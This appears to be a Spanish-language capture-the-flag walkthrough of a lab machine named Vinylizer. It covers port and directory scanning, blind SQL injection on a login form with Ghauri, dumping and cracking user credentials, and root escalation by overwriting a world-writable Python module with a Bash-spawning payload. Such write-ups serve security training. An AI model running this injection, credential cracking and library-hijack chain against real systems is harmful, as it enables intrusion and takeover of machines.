Enumeración de servicios
El objetivo expone SSH y una aplicación web llamada Vinyl Records Marketplace. Como no disponemos de credenciales para SSH, continuamos por HTTP:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.29
❯ nmap -sC -sV -p22,80 -oN 02-targeted.txt 192.168.1.29
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-04 18:34 -03
Nmap scan report for 192.168.1.29
Host is up (0.00039s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f8:e3:79:35:12:8b:e7:41:d4:27:9d:97:a5:14:b6:16 (ECDSA)
|_ 256 e3:8b:15:12:6b:ff:97:57:82:e5:20:58:2d:cb:55:33 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Vinyl Records Marketplace
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.79 secondsEnumeración web
Gobuster descubre login.php, que se convierte en el principal punto de entrada:
❯ gobuster dir -u 192.168.1.29 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt
...
/img (Status: 301) [Size: 310] [--> http://192.168.1.29/img/]
/login.php (Status: 200) [Size: 1408]
/index.html (Status: 200) [Size: 2326]
...Explotación mediante Blind SQL Injection
Al introducir admin' en el login, la respuesta cambia y revela un error de consulta. Guardamos la petición POST completa para que Ghauri conserve las cookies, cabeceras y parámetros del formulario.
La aplicación no refleja filas útiles, por eso la explotación es ciega. Ghauri infiere los valores mediante diferencias booleanas o temporales y reconstruye los datos carácter por carácter:
POST /login.php HTTP/1.1
Host: 192.168.1.29
Content-Length: 35
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.29
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.1.29/login.php
Accept-Encoding: gzip, deflate, br
Accept-Language: es-419,es;q=0.9
Cookie: PHPSESSID=e5mbp5mudjppbm5eoi66ts4i0f
Connection: close
username=admin&password=asdf&login=Indicamos que pruebe username; la herramienta confirma la inyección y enumera tres bases de datos:
❯ ghauri -r req.txt -p username --dbs
...
available databases [3]:
[*] information_schema
[*] performance_schema
[*] vinyl_marketplace
...Seleccionamos la base de datos de la aplicación y listamos sus tablas:
❯ ghauri -r req.txt -p username --dbms mysql -D vinyl_marketplace --tables
...
[1 tables]
+-------+
| users |
+-------+
...La única tabla es users, que volcamos para recuperar las credenciales:
❯ ghauri -r req.txt -p username --dbms mysql -D vinyl_marketplace -T users --dump
...
+----+----------------+----------------------------------+-----------+
| id | login_attempts | password | username |
+----+----------------+----------------------------------+-----------+
| 1 | 0 | 9432522ed1a8fca612b11c3980a031f6 | shopadmin |
| 2 | 0 | password123 | lana |
+----+----------------+----------------------------------+-----------+
...El hash de shopadmin tiene 32 caracteres hexadecimales y corresponde a MD5 sin salt. Hashcat, en modo 0, recupera addicted2vinyl mediante un Dictionary Attack, lo que confirma el uso de una Weak Password.
La longitud no demuestra MD5 por sí sola, pero permite formular la hipótesis. La recuperación exitosa con el modo 0 de Hashcat confirma el formato; después todavía validamos la contraseña contra SSH:
❯ hashcat -a 0 -m 0 "9432522ed1a8fca612b11c3980a031f6" ~/Documentos/wordlists/rockyou.txt --show
9432522ed1a8fca612b11c3980a031f6:addicted2vinyl
-a 0 -> straight attack mode
-m 0 -> md5 hash modeAcceso inicial y enumeración de privilegios
Las credenciales funcionan por SSH y permiten recuperar la primera flag. sudo -l muestra que shopadmin puede ejecutar un script Python fijo como cualquier usuario:
shopadmin@vinylizer:~$ sudo -l
Matching Defaults entries for shopadmin on vinylizer:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User shopadmin may run the following commands on vinylizer:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/vinylizer.pyAnálisis de importaciones Python
vinylizer.py importa json y random. Iniciamos el intérprete para conocer las rutas exactas de ambos módulos y comprobamos sus permisos.
No basta con que el script importe una librería. Python Library Hijacking sólo es viable si Python resolverá un archivo modificable. Consultar la propiedad __file__ evita asumir la ruta y los permisos confirman que random.py es escribible:
shopadmin@vinylizer:/opt$ python3
Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import json; import random; json; random
<module 'json' from '/usr/lib/python3.10/json/__init__.py'>
<module 'random' from '/usr/lib/python3.10/random.py'>
shopadmin@vinylizer:/opt$ ls -l /usr/lib/python3.10/json/__init__.py
-rw-r--r-- 1 root root 14020 Nov 20 15:14 /usr/lib/python3.10/json/__init__.py
shopadmin@vinylizer:/opt$ ls -l /usr/lib/python3.10/random.py
-rwxrwxrwx 1 root root 33221 Nov 20 15:14 /usr/lib/python3.10/random.pyrandom.py tiene permisos 777, de modo que podemos alterar código que el script privilegiado importará. Antes de modificarlo guardamos una copia en el home:
shopadmin@vinylizer:~$ cp /usr/lib/python3.10/random.py ./import pty
pty.spawn("/bin/bash")Escalada mediante Python Library Hijacking
Reemplazamos el módulo por dos líneas que crean una pseudoterminal de Bash. Al ejecutar el comando autorizado, Python carga nuestra versión de random.py con los privilegios de root.
El código se ejecuta durante la importación, antes de la lógica principal del script. La copia de seguridad permite restaurar la librería compartida tras la prueba:
shopadmin@vinylizer:~$ sudo /usr/bin/python3 /opt/vinylizer.pyLas notas registran que la pseudoterminal se abrió como root y permitió recuperar la flag final, pero no conservaron una salida de UID. La copia previa permite restaurar la librería después de la prueba.